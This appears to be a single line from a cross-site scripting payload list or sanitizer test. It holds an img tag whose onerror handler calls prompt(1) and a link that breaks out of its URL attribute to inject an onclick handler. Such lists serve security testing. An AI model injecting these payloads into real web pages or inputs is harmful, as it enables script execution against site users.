<img src=x onerror=prompt(1)>[wat] http://lol.com/"onclick='prompt(1)'